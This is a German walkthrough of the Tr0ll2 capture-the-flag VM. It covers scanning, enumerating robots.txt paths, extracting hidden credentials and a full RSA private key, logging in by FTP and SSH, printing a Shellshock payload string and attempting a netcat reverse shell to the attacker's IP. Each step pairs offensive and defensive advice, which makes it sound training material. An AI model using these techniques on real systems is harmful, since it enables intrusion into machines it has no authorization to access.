Analyse: Wie üblich beginnt die Reconnaissance mit `arp-scan -l`, um aktive Hosts im lokalen Netzwerk zu finden.
Bewertung: Der Befehl identifiziert erfolgreich das Zielsystem mit der IP-Adresse `192.168.2.138`. Die MAC-Adresse (`08:00:27:b6:76:c4`) weist erneut auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): Die gefundene IP als Ziel für weitere Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung kann solche Scans erkennen. Für den Schutz vor ARP-Spoofing (nicht Scannen) ist DHCP-Snooping relevant.
192.168.2.138 08:00:27:b6:76:c4 PCS Systemtechnik GmbH
Analyse: Die `/etc/hosts`-Datei auf dem Angreifer-System wird bearbeitet, um der IP `192.168.2.138` den Hostnamen `troll2.vln` zuzuordnen.
Bewertung: Dies vereinfacht die Ansprache des Ziels in nachfolgenden Schritten und erhöht die Lesbarkeit.
Empfehlung (Offensiv): Immer durchführen, wenn mit Webdiensten oder hostnamenbasierten Konfigurationen interagiert wird.
Empfehlung (Defensiv): Keine direkten defensiven Maßnahmen auf dem Zielsystem erforderlich.
192.168.2.138 troll2.vln
Analyse: Ein Nmap-Scan wird gestartet, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren.
-sS
: TCP SYN Scan (Stealth Scan).-sV
: Diensterkennung/Versionserkennung.-A
: Aggressiver Scan (OS-Erkennung, Versionen, Skripte, Traceroute).-T5
: Sehr schnelles Timing (potenziell ungenau/laut).-p-
: Scan aller 65535 TCP-Ports.Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-28 23:37 CET Nmap scan report for troll2.vln (192.168.2.138) Host is up (0.00015s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA) | 2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA) |_ 256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.2.22 (Ubuntu) MAC Address: 08:00:27:B6:76:C4 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms troll2.vln (192.168.2.138) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds
Analyse: Filtert die vorherige Nmap-Ausgabe, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt schnell die offenen Ports 21, 22 und 80 als primäre Angriffsvektoren.
Empfehlung (Offensiv): Fokus auf diese drei Dienste legen.
Empfehlung (Defensiv): Regelmäßige Überprüfung offener Ports und Schließen nicht benötigter Dienste.
21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
Analyse: Nikto wird verwendet, um den Webserver auf Port 80 nach bekannten Schwachstellen, Fehlkonfigurationen und interessanten Dateien zu durchsuchen.
Bewertung: Nikto liefert ähnliche Ergebnisse wie beim vorherigen Ziel:
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.138 + Target Hostname: 192.168.2.138 + Target Port: 80 + Start Time: 2023-11-28 23:37:13 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.2.22 (Ubuntu) + /: Server may leak inodes via ETags, header found with file /, inode: 13079, size: 110, mtime: Wed Oct 15 04:05:15 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /index: Uncommon header 'tcn' found, with contents: list. + /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275 + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8909 requests: 0 error(s) and 9 item(s) reported on remote host + End Time: 2023-11-28 23:37:29 (GMT1) (16 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Gobuster wird für Directory/File Brute-Forcing gegen `http://troll2.vln` verwendet. Es sucht nach verschiedenen Endungen (`-x`) mit einer Standard-Wortliste (`directory-list-2.3-medium.txt`), ignoriert 403/404-Fehler (`-b`), zeigt volle URLs (`-e`), unterdrückt Fehler (`--no-error`) und ignoriert SSL-Zertifikatsfehler (`-k`, hier irrelevant).
Bewertung: Der Scan findet `index`/`index.html` (wie erwartet) und eine `robots.txt`. Keine anderen versteckten Verzeichnisse oder Dateien wurden mit dieser Wortliste gefunden.
Empfehlung (Offensiv): Den Inhalt von `robots.txt` analysieren, da dieser oft Hinweise auf interessante Pfade gibt (auch wenn sie als "Disallow" markiert sind).
Empfehlung (Defensiv): WAFs können helfen, Brute-Force-Scans zu erkennen/blockieren. Unnötige Dateien entfernen.
=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://troll2.vln [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Extensions: [...] [+] Expanded: true [+] Timeout: 10s [+] Use slash: false [+] Follow Redirect: false [+] Quiet: false [+] No error: true [+] K: true =============================================================== 2023/11/28 23:40:15 Starting gobuster in directory enumeration mode =============================================================== http://troll2.vln/index (Status: 200) [Size: 110] http://troll2.vln/index.html (Status: 200) [Size: 110] http://troll2.vln/robots.txt (Status: 200) [Size: 346] http://troll2.vln/robots (Status: 200) [Size: 346] =============================================================== 2023/11/28 23:42:30 Finished ===============================================
Analyse: Der Inhalt der gefundenen `robots.txt` wird angezeigt.
Bewertung: Die Datei enthält eine lange Liste von `Disallow`-Einträgen mit humorvollen oder herausfordernden Namen (`/noob`, `/try_harder`, `/isnt_this_annoying`, etc.). Dies ist ein typisches Element von "Troll"-VMs, das den Pentester auf eine falsche Fährte locken oder beschäftigen soll. Allerdings können solche Einträge manchmal auch auf tatsächlich existierende, aber versteckte Verzeichnisse hinweisen.
Empfehlung (Offensiv): Die aufgelisteten Pfade systematisch überprüfen, auch wenn sie als "Disallow" markiert sind. Nicht alle Webserver/Anwendungen halten sich strikt an `robots.txt`.
Empfehlung (Defensiv): `robots.txt` sollte nur dazu verwendet werden, legitime Crawler von nicht-öffentlichen Bereichen abzuhalten. Es ist keine Sicherheitsmaßnahme und sollte keine sensiblen Pfadnamen enthalten.
http://troll2.vln/robots.txt User-agent:* Disallow: /noob Disallow: /nope Disallow: /try_harder Disallow: /keep_trying Disallow: /isnt_this_annoying Disallow: /nothing_here Disallow: /404 Disallow: /LOL_at_the_last_one Disallow: /trolling_is_fun Disallow: /zomg_is_this_it Disallow: /you_found_me Disallow: /I_know_this_sucks Disallow: /You_could_give_up Disallow: /dont_bother Disallow: /will_it_ever_end Disallow: /I_hope_you_scripted_this Disallow: /ok_this_is_it Disallow: /stop_whining Disallow: /why_are_you_still_looking Disallow: /just_quit Disallow: /seriously_stop
Analyse: Es wird eine Shell-Schleife (`foreach`, wahrscheinlich aus einer `tcsh` oder ähnlichen Shell, in `bash` wäre es `for`) verwendet, um jeden Pfad aus einer Datei namens `subs` (die vermutlich die `Disallow`-Pfade aus `robots.txt` enthält) mit `curl` abzurufen. `-I` holt nur die Header, `-v` zeigt detaillierte Infos (inkl. Request-Header). Die Ausgabe wird in die Datei `sus` umgeleitet (`>>` hängt an).
Bewertung: Dies ist ein systematischer Ansatz, um die in `robots.txt` gefundenen Pfade zu testen. Die Erstellung der Datei `subs` wird hier impliziert, sie müsste die Pfade wie `/noob`, `/nope` etc. enthalten.
Empfehlung (Offensiv): Die Ergebnisse in `sus` analysieren, um zu sehen, welche Pfade tatsächlich existieren oder interessante Antworten liefern.
Empfehlung (Defensiv): Ratenbegrenzung oder WAFs können solche automatisierten Anfragen erkennen und blockieren.
...
Analyse: Die Datei `sus` (Ergebnis des vorherigen `curl`-Laufs) wird mit `grep` nach Zeilen durchsucht, die "HTTP" enthalten, um die Statuszeilen der Antworten zu extrahieren.
Bewertung: Die Ausgabe zeigt, dass einige Pfade (`/noob`, `/keep_trying`, `/dont_bother`, `/ok_this_is_it`) mit einem `HTTP/1.1 301 Moved Permanently` antworten. Das bedeutet, diese Pfade existieren und leiten auf eine andere Ressource weiter (typischerweise durch Anhängen eines `/`, also auf ein Verzeichnis). Die meisten anderen Pfade geben `404 Not Found` zurück.
Empfehlung (Offensiv): Die Pfade, die einen 301-Status zurückgeben, genauer untersuchen (insbesondere die Ziele der Weiterleitung, z.B. `http://troll2.vln/noob/`).
Empfehlung (Defensiv): Sicherstellen, dass Weiterleitungen korrekt konfiguriert sind und nicht auf sensible Bereiche zeigen.
1 HTTP/1.1 301 Moved Permanently /noob 2 HTTP/1.1 404 Not Found /nope 3 HTTP/1.1 404 Not Found /try_harder 4 HTTP/1.1 301 Moved Permanently /keep_trying 5 HTTP/1.1 404 Not Found /isnt_this_annoying 6 HTTP/1.1 404 Not Found /nothing_here 7 HTTP/1.1 404 Not Found /404 8 HTTP/1.1 404 Not Found /LOL_at_the_last_one 9 HTTP/1.1 404 Not Found /trolling_is_fun 10 HTTP/1.1 404 Not Found /zomg_is_this_it 11 HTTP/1.1 404 Not Found /you_found_me 12 HTTP/1.1 404 Not Found /I_know_this_sucks 13 HTTP/1.1 404 Not Found /You_could_give_up 14 HTTP/1.1 301 Moved Permanently /dont_bother 15 HTTP/1.1 404 Not Found /will_it_ever_end 16 HTTP/1.1 404 Not Found /I_hope_you_scripted_this 17 HTTP/1.1 301 Moved Permanently /ok_this_is_it 18 HTTP/1.1 404 Not Found /stop_whining 19 HTTP/1.1 404 Not Found /why_are_you_still_looking 20 HTTP/1.1 404 Not Found /just_quit 21 HTTP/1.1 404 Not Found /seriously_stop
Analyse: Der HTML-Quellcode der Startseite (`index.html`) wird untersucht.
Bewertung: Im Quellcode befindet sich ein Bild `tr0ll_again.jpg` und HTML-Kommentare: `--Nothing here, Try Harder! --Author: Tr0ll --Editor: VIM`. Dies sind weitere Troll-Hinweise, aber das Bild könnte interessant sein.
Empfehlung (Offensiv): Das Bild `tr0ll_again.jpg` herunterladen und auf versteckte Daten (Steganographie, Metadaten) untersuchen.
Empfehlung (Defensiv): Kommentare im HTML-Code vermeiden, die Hinweise geben könnten. Metadaten aus Bildern vor der Veröffentlichung entfernen.
http://troll2.vln/index.html img src='tr0ll_again.jpg' < --Nothing here, Try Harder! --> < --Author: Tr0ll --> < --Editor: VIM -->
Analyse: Ein weiterer Nmap-Scan wird durchgeführt, diesmal gezielt mit der Skript-Kategorie `vuln` auf die offenen Ports 21, 22 und 80.
Bewertung: Der Scan liefert keine signifikanten Ergebnisse. Er erwähnt ein mögliches Avahi-DoS (CVE-2011-1002), das aber nicht erfolgreich war ("not vulnerable"). Für HTTP werden keine CSRF-, XSS- oder Enum-Schwachstellen gefunden, außer der bereits bekannten `robots.txt`.
Empfehlung (Offensiv): Sich nicht nur auf automatisierte Vuln-Scans verlassen. Manuelle Überprüfung der Dienste (FTP-Login, Web-Anwendung) ist oft effektiver.
Empfehlung (Defensiv): Regelmäßige Scans mit aktuellen Skripten durchführen, aber manuelle Audits und Updates sind unerlässlich.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-29 00:12 CET Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for troll2.vln (192.168.2.138) Host is up (0.00023s latency). PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-enum: |_ /robots.txt: Robots file Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds
Analyse: Gobuster wird erneut verwendet, diesmal aber mit der Datei `subs` (die die Pfade aus `robots.txt` enthält) als Wortliste (`--wordlist subs`). Es wird nach bestimmten Endungen gesucht (`-x`) und die Ausgabe ist auf das Nötigste reduziert (`-q`).
Bewertung: Dieser Scan bestätigt die vier Pfade, die zuvor einen 301-Statuscode zurückgaben und nun als Verzeichnisse (`/noob/`, `/keep_trying/`, `/dont_bother/`, `/ok_this_is_it/`) angezeigt werden.
Empfehlung (Offensiv): Den Inhalt dieser vier Verzeichnisse untersuchen.
Empfehlung (Defensiv): Verzeichnisse, die nicht öffentlich zugänglich sein sollen, korrekt schützen (z.B. durch `.htaccess` oder Serverkonfiguration).
/noob (Status: 301) [Size: 313] [--> http://192.168.2.138/noob/] /keep_trying (Status: 301) [Size: 320] [--> http://192.168.2.138/keep_trying/] /dont_bother (Status: 301) [Size: 320] [--> http://192.168.2.138/dont_bother/] /ok_this_is_it (Status: 301) [Size: 322] [--> http://192.168.2.138/ok_this_is_it/]
Analyse: Eine Datei `cat_the_troll.jpg` wird aus dem Verzeichnis `/dont_bother/` mit `wget` heruntergeladen.
Bewertung: Der Download ist erfolgreich. Der Dateiname legt nahe, dass darin Informationen versteckt sein könnten.
Empfehlung (Offensiv): Die heruntergeladene Datei mit Tools wie `strings`, `exiftool` oder Steganographie-Tools analysieren.
Empfehlung (Defensiv): Sensible Informationen nicht in öffentlich zugänglichen Dateien verstecken.
--2023-11-29 00:19:26-- http://troll2.vln/dont_bother/cat_the_troll.jpg Resolving troll2.vln (troll2.vln)... 192.168.2.138 Connecting to troll2.vln (troll2.vln)|192.168.2.138|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 15873 (16K) [image/jpeg] Saving to: ‘cat_the_troll.jpg.1’ cat_the_troll.jpg.1 100%[=====================================>] 15.50K --.-KB/s in 0s 2023-11-29 00:19:26 (71.8 MB/s) - ‘cat_the_troll.jpg.1’ saved [15873/15873]
Analyse: Das `strings`-Tool wird auf die heruntergeladene Bilddatei angewendet, um lesbare Zeichenketten mit einer Mindestlänge von 8 (`-n 8`) zu extrahieren.
Bewertung: Neben vielen unlesbaren Daten findet sich die Zeichenkette: `Look Deep within y0ur_self for the answer`. Dies ist ein klarer Hinweis auf einen Pfadnamen: `/y0ur_self`.
Empfehlung (Offensiv): Den Pfad `http://troll2.vln/y0ur_self` im Browser oder mit `curl` aufrufen.
Empfehlung (Defensiv): Keine Hinweise oder sensible Daten in Bilddateien oder anderen öffentlichen Ressourcen einbetten.
#3-652-108?QE8
Analyse: Der Pfad `/y0ur_self` wird aufgerufen. Der Webserver gibt eine Verzeichnisliste zurück.
Bewertung: In diesem Verzeichnis befindet sich eine Datei namens `answer.txt` mit einer beachtlichen Größe von 1.3 MB.
Empfehlung (Offensiv): Die Datei `answer.txt` herunterladen und analysieren.
Empfehlung (Defensiv): Directory Listing auf Webservern deaktivieren, wenn es nicht explizit benötigt wird. Große, unerwartete Dateien im Webroot können auf eine Kompromittierung oder Fehlkonfiguration hindeuten.
http://troll2.vln/y0ur_self Index of /y0ur_self [ICO] Name Last modified Size Description [DIR] Parent Directory - [TXT] answer.txt 04-Oct-2014 01:22 1.3M Apache/2.2.22 (Ubuntu) Server at troll2.vln Port 80
Analyse: Die (vermutlich heruntergeladene) Datei `answer.txt` wird mit `sort` sortiert und dann mit `uniq` werden doppelte Zeilen entfernt. Das Ergebnis wird in `new_answer.txt` gespeichert. Anschließend folgen Hinweise zur Verwendung von CyberChef (`From_Base64`) und das Ergebnis der Dekodierung: die Credentials `Tr0ll:Tr0ll`.
Bewertung: Die große Datei `answer.txt` enthielt wahrscheinlich viele Zeilen Base64-codierten Text, wobei die relevanten Credentials mehrfach vorkamen. Durch `sort | uniq` wurde die redundante Information entfernt, und die verbleibende Base64-Zeichenkette wurde (außerhalb des gezeigten Terminals, z.B. in CyberChef) dekodiert, um die FTP-Zugangsdaten `Tr0ll`:`Tr0ll` zu erhalten.
Empfehlung (Offensiv): Die gefundenen Credentials `Tr0ll:Tr0ll` verwenden, um sich auf dem FTP-Server (Port 21) anzumelden.
Empfehlung (Defensiv): Niemals Zugangsdaten, auch nicht kodiert, in öffentlich zugänglichen Dateien speichern. Base64 ist keine Verschlüsselung!
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)
frombase64
copyto´file
creds find: Tr0ll:Tr0ll
Analyse: Es wird eine Verbindung zum FTP-Server auf `192.168.2.138` aufgebaut. Die zuvor gefundenen Zugangsdaten `Tr0ll` mit Passwort `Tr0ll` werden verwendet.
Bewertung: Der Login ist erfolgreich ("230 Login successful."). Dies gewährt Zugriff auf das FTP-Verzeichnis des Benutzers `Tr0ll`.
Empfehlung (Offensiv): Den Inhalt des FTP-Verzeichnisses untersuchen (`ls`, `ls -la`). Nach interessanten Dateien suchen und diese herunterladen (`get`). Prüfen, ob Schreibrechte bestehen (`put`).
Empfehlung (Defensiv): Starke, einzigartige Passwörter für FTP-Konten verwenden. Anonymen FTP-Zugriff deaktivieren, wenn nicht benötigt. FTP nach Möglichkeit vermeiden und sicherere Protokolle wie SFTP (über SSH) bevorzugen.
Connected to 192.168.2.138.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (192.168.2.138:cyber): Tr0ll
331 Please specify the password.
Password: Tr0ll
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Analyse: Innerhalb der FTP-Sitzung werden die Befehle `ls -la` und `get lmao.zip` ausgeführt.
Bewertung: `ls -la` zeigt eine einzelne Datei im Verzeichnis: `lmao.zip`. Diese Datei wird anschließend mit `get lmao.zip` erfolgreich heruntergeladen.
Empfehlung (Offensiv): Die heruntergeladene Datei `lmao.zip` auf dem lokalen System untersuchen (entpacken, Inhalt analysieren).
Empfehlung (Defensiv): Keine sensiblen oder potenziell schädlichen Dateien auf FTP-Servern lagern, die über schwache Credentials zugänglich sind.
229 Entering Extended Passive Mode (|||29988|). 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Oct 04 2014 . drwxr-xr-x 2 0 0 4096 Oct 04 2014 .. -rw-r--r-- 1 0 0 1474 Oct 04 2014 lmao.zip 226 Directory send OK.
local: lmao.zip remote: lmao.zip 229 Entering Extended Passive Mode (|||56234|). 150 Opening BINARY mode data connection for lmao.zip (1474 bytes). 100% |***********************************| 1474 5.00 MiB/s 00:00 ETA 226 Transfer complete. 1474 bytes received in 00:00 (2.65 MiB/s)
Analyse: Die heruntergeladene Datei `lmao.zip` wird versucht zu entpacken. Das Archiv ist passwortgeschützt und fragt nach `[lmao.zip] noob password:`.
Bewertung: Es wird impliziert, dass das Passwort `noob` eingegeben wird (basierend auf dem Prompt und dem Namen der extrahierten Datei). Das Entpacken ist erfolgreich und extrahiert eine Datei namens `noob`.
Empfehlung (Offensiv): Den Inhalt der extrahierten Datei `noob` untersuchen.
Empfehlung (Defensiv): Passwortschutz für Archive ist nur so sicher wie das Passwort selbst. Sensible Daten sollten stark verschlüsselt werden.
Archive: lmao.zip
[lmao.zip] noob password: noob
inflating: noob
Analyse: Der Inhalt der extrahierten Datei `noob` wird angezeigt.
Bewertung: Es handelt sich um einen privaten RSA-SSH-Schlüssel (`--BEGIN RSA PRIVATE KEY--`). Dieser Schlüssel kann potenziell für den Login auf dem SSH-Server verwendet werden.
Empfehlung (Offensiv): Dem Schlüssel die korrekten Berechtigungen geben (`chmod 600`) und versuchen, sich damit per SSH zu verbinden. Es muss herausgefunden werden, für welchen Benutzer dieser Schlüssel gültig ist (möglicherweise `noob`, `troll` oder ein anderer User).
Empfehlung (Defensiv): Private SSH-Schlüssel niemals ungeschützt oder leicht zugänglich ablegen. Sie sollten immer mit einer starken Passphrase geschützt sein.
-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1 /9zwtJSMely5oCGujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPoq +pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5 z+13lsTpA9px6YIbyrPMMFzcrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJ0buvQIDAQABAoIBAA8ltlpQWP+yduna u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIKtI4NV+gfjW8i0 gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKJ73CuwbVlq UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079 La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR xgl4PyN80L+TgBNI/5nnTSQqbjUiu+aoRCs0856EEpfnGte41App99hdPTAKP aq/r7+UCgYEA17aQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtrNBfPSi7AlTPrRxDPQUxyxx n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB TEJvcW1XUT93ZsN+lo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJUfsJBfbwhX1tQv ibsKq9kucenZnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUVUCg6t 0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq vKoyNZRw+bqjM0XT+2CR8dS1Dw9au14w+xecLq7NeQzUxzId5tHCosZRoQbvoh ywLymdDlq3TZ+CySD4/wUCgYEAr/ybRHhQro7VnneSjxNp7qRUn9a3bkWLeSG th8mjrEwf/b/1yai2YEHn+QKUU5dCbLjr2We/Dcm6cue98IP4rHdjVlRS3oN9s G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sh8kxwBBGHW4/fC77+N vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4t/W3IiRlkobh07p3nj601d+gTjjgKG zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g -----END RSA PRIVATE KEY-----
Analyse: Dem privaten SSH-Schlüssel `noob` werden die korrekten Dateiberechtigungen (`600` - nur Lesen und Schreiben für den Eigentümer) zugewiesen. Dies ist notwendig, damit der SSH-Client den Schlüssel akzeptiert.
Bewertung: Korrekter vorbereitender Schritt für die Verwendung des SSH-Schlüssels.
Empfehlung (Offensiv): Mit dem nächsten Schritt den SSH-Login versuchen.
Empfehlung (Defensiv): Die Notwendigkeit dieses Schritts unterstreicht die Wichtigkeit, private Schlüssel sicher aufzubewahren.
Analyse: Es wird versucht, sich per SSH als Benutzer `troll` mit dem privaten Schlüssel `noob` (`-i noob`) auf dem Zielsystem anzumelden.
Bewertung: Der Versuch schlägt fehl. Die Meldung `sign_and_send_pubkey: no mutual signature supported` deutet auf ein Problem mit den unterstützten Algorithmen zwischen Client und Server hin (oft bei alten RSA-Schlüsseln). Der Server fällt auf Passwort-Authentifizierung zurück (`troll@192.168.2.138's password:`). Das Passwort für `troll` ist nicht bekannt.
Empfehlung (Offensiv): Versuchen, den Login mit expliziter Angabe älterer Algorithmen zu erzwingen (z.B. `-o PubkeyAcceptedKeyTypes=ssh-rsa`). Versuchen, den Schlüssel für andere Benutzer zu verwenden (insbesondere `noob`, da der Schlüssel und das Zip-Passwort so heißen).
Empfehlung (Defensiv): Veraltete SSH-Algorithmen und Schlüsseltypen auf dem Server deaktivieren (`sshd_config`). Nur starke, aktuelle Algorithmen zulassen.
The authenticity of host '192.168.2.138 (192.168.2.138)' can't be established. ECDSA key fingerprint is SHA256:I3xuSgcBlIsoldKTkyVYwx8B4NLGl0fDDTi0H6ExYg. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.138' (ECDSA) to the list of known hosts. sign_and_send_pubkey: no mutual signature supported troll@192.168.2.138's password:
Analyse: Der Kommentar "Try shellshock technique w/ SSH" und der folgende Befehl deuten auf einen Versuch hin, die Shellshock-Schwachstelle (CVE-2014-6271) über SSH auszunutzen. Der Befehl versucht, sich als Benutzer `noob` mit dem Schlüssel `noob` anzumelden und direkt einen manipulierten Bash-Befehl (`'() {:;}; /bin/bash'`) auszuführen.
Bewertung: Es ist unklar, ob dieser spezifische Befehl ausgeführt wurde oder erfolgreich war, da die Ausgabe fehlt und die nächsten Befehle folgen. Es ist wahrscheinlich, dass dieser Versuch fehlschlug oder nicht der eigentliche Weg zum Erfolg war, da Shellshock typischerweise über Umgebungsvariablen (z.B. bei CGI-Skripten) ausgenutzt wird und SSH hier anders funktioniert. Die nächsten Befehle zeigen jedoch den erfolgreichen Weg.
Empfehlung (Offensiv): Shellshock ist eine valide Schwachstelle, aber der Angriffsvektor muss passen. Hier ist es wahrscheinlicher, dass die Key-Authentifizierung das Problem war.
Empfehlung (Defensiv): Sicherstellen, dass die Bash-Version gepatcht ist, um Shellshock zu verhindern.
-------------------------------------------------------------------------------- Try shellshock technique w/ SSH --------------------------------------------------------------------------------
Analyse: Nun wird der SSH-Login als Benutzer `noob` mit dem Schlüssel `noob` erneut versucht, aber mit der Option `-o PubkeyAcceptedKeyTypes=ssh-rsa`, um explizit den älteren RSA-Algorithmus zu erlauben. Es wird auch `-t` verwendet, um ein Pseudo-Terminal anzufordern (oft nötig für interaktive Befehle) und der Befehl `'() { :;}; id'` wird angehängt.
Bewertung: Dieser Versuch ist erfolgreich! Die Option `-o PubkeyAcceptedKeyTypes=ssh-rsa` war der Schlüssel. Der Befehl `id` wird ausgeführt und gibt `uid=1002(noob)` zurück. Die Verbindung wird danach sofort geschlossen, da nur ein einzelner Befehl ausgeführt wurde. Der Teil `'() { :;};` ist wahrscheinlich ein Überbleibsel des Shellshock-Versuchs und hier funktional irrelevant; nur `id` wird effektiv ausgeführt.
Empfehlung (Offensiv): Da der Login nun funktioniert, weitere Befehle ausführen oder versuchen, eine interaktive Shell zu bekommen.
Empfehlung (Defensiv): Siehe vorherige Empfehlung zur Deaktivierung veralteter SSH-Algorithmen.
uid=1002(noob) gid=1002(noob) groups=1002(noob) Connection to 192.168.2.138 closed.
Analyse: Mit der funktionierenden SSH-Methode wird nun `ls /home` ausgeführt.
Bewertung: Die Ausgabe `maleus noob tr0ll` bestätigt die Existenz dieser drei Benutzerkonten auf dem System.
Empfehlung (Offensiv): Diese Information für spätere Angriffsversuche oder Privilegieneskalation nutzen.
Empfehlung (Defensiv): Unnötige Benutzerkonten deaktivieren oder löschen. Home-Verzeichnisse mit korrekten Berechtigungen schützen.
maleus noob tr0ll Connection to 192.168.2.138 closed.
Analyse: Es wird versucht, über die SSH-Verbindung eine Netcat-Reverse-Shell zum Angreifer (`192.168.2.199:4545`) aufzubauen.
Bewertung: Der Versuch scheitert mit der Meldung `No Netcat for You! LOL`. Das Zielsystem hat entweder `nc` nicht installiert, oder es gibt eine serverseitige Einschränkung (z.B. über `ForceCommand` in `sshd_config` oder eine eingeschränkte Shell), die die Ausführung von `nc` verhindert.
Empfehlung (Offensiv): Andere Methoden für eine Shell oder Befehlsausführung finden. Versuchen, eine interaktive Bash-Shell zu bekommen.
Empfehlung (Defensiv): Installation unnötiger Netzwerktools wie `netcat` auf Servern vermeiden. SSH-Zugänge mit `ForceCommand` oder eingeschränkten Shells absichern, wenn Benutzer keine volle Shell benötigen.
No Netcat for You! LOL Connection to 192.168.2.138 closed.
Analyse: Es wird versucht, direkt eine interaktive Bash-Shell über SSH zu starten.
Bewertung: Diesmal klappt es! Der Befehl `bash` wird erfolgreich ausgeführt, und der Pentester erhält einen Prompt (`noob@Tr0ll2$`) auf dem Zielsystem. Initial Access als Benutzer `noob` ist somit erreicht.
Empfehlung (Offensiv): Mit der Enumeration des Systems als Benutzer `noob` beginnen, insbesondere nach Möglichkeiten zur Privilegieneskalation suchen.
